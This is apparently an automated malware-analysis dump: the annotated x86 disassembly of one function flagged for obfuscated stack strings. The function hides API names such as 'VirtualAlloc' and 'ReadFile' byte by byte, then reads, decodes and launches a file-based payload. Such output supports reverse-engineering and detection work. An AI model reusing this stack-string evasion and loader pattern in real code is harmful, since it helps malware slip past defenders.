Function at 0x403130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x40
mov eax, dword [esp + 0x44]
push esi
push edi
push eax
mov byte [esp + 0x2c], 0x56
mov byte [esp + 0x2d], 0x49
mov byte [esp + 0x2e], 0x44
mov byte [esp + 0x2f], 0x3a
mov byte [esp + 0x30], 0x32
mov byte [esp + 0x31], 0x30
mov byte [esp + 0x32], 0x31
mov byte [esp + 0x33], 0x34
mov byte [esp + 0x34], 0x2d
mov byte [esp + 0x35], 0x53
mov byte [esp + 0x36], 0x56
mov byte [esp + 0x37], 0x38
mov byte [esp + 0x38], 0
call fcn.00402fc0
add esp, 4
test eax, eax
je 0x4033fa
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push 0x406c50
call dword [0x406ee0]
mov esi, eax
cmp esi, 0xffffffff
je 0x4033e8
lea ecx, [esp + 8]
mov byte [esp + 8], 0x53
push ecx
push esi
mov byte [esp + 0x11], 0x53
mov byte [esp + 0x12], 0x53
mov byte [esp + 0x13], 0x53
mov byte [esp + 0x14], 0x53
mov byte [esp + 0x15], 0x53
mov byte [esp + 0x16], 0
call fcn.00402d00
add esp, 8
mov edi, eax
push esi
call dword [0x406ec4]
test edi, edi
je 0x4033e8
mov ecx, dword [0x406c4c]
lea edx, [esp + 0x28]
add edi, 6
push edx
push edi
call fcn.00401a60
test eax, eax
jne 0x4033e8
push eax
push 0x80
push 3
push eax
push eax
push 0x80000000
push 0x406c50
call dword [0x406ee0]
mov esi, eax
test esi, esi
je 0x4033e8
mov ecx, dword [0x406ed0]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push ebx
lea eax, [esp + 0x20]
push ebp
mov bl, 0x6c
push eax
push ecx
mov byte [esp + 0x2c], 0x47
mov byte [esp + 0x2d], 0x65
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x2f], 0x46
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x34], 0x69
mov byte [esp + 0x35], 0x7a
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0
call edi
mov ebp, eax
mov eax, dword [0x406ed0]
lea edx, [esp + 0x40]
mov byte [esp + 0x40], 0x56
push edx
push eax
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], 0x72
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x75
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x41
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x53], 0x63
mov byte [esp + 0x54], 0
call edi
push 0
push esi
mov dword [esp + 0x5c], eax
call ebp
push 4
push 0x3000
push eax
push 0
mov dword [0x4062d0], eax
call dword [esp + 0x64]
mov edx, dword [0x406ed0]
lea ecx, [esp + 0x18]
push ecx
push edx
mov dword [0x406ebc], eax
mov byte [esp + 0x20], 0x52
mov byte [esp + 0x21], 0x65
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0x46
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0
call edi
mov ecx, dword [0x4062d0]
mov edx, dword [0x406ebc]
push 0
push 0x4062dc
push ecx
push edx
push esi
call eax
push esi
call dword [0x406ec4]
mov eax, dword [0x4062d0]
mov ecx, dword [0x406ebc]
push eax
push ecx
call fcn.004030b0
mov edx, dword [0x406ebc]
push edx
call fcn.00401000
add esp, 0xc
mov dword [0x406ec0], eax
test eax, eax
pop ebp
pop ebx
je 0x4033e8
mov ecx, dword [esp + 0x50]
push ecx
push eax
call fcn.004016c0
add esp, 8
test eax, eax
je 0x4033e8
mov dx, word [0x406730]
mov ecx, dword [esp + 0x54]
push edx
mov dl, byte [0x4062ce]
push ecx
mov cx, word [0x4062da]
push 0x50
push edx
mov dx, word [0x4062d8]
push ecx
push edx
push 0x406668
push 0x4066cc
push 0x40629c
push 0x406734
push 0x4062e0
push 0x40631c
call eax
mov esi, eax
mov eax, dword [0x406ec0]
push eax
call fcn.00401780
add esp, 0x34
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
push 0x406c50
push 0x406468
call fcn.004024f0
add esp, 8
pop edi
xor eax, eax
pop esi
add esp, 0x40
ret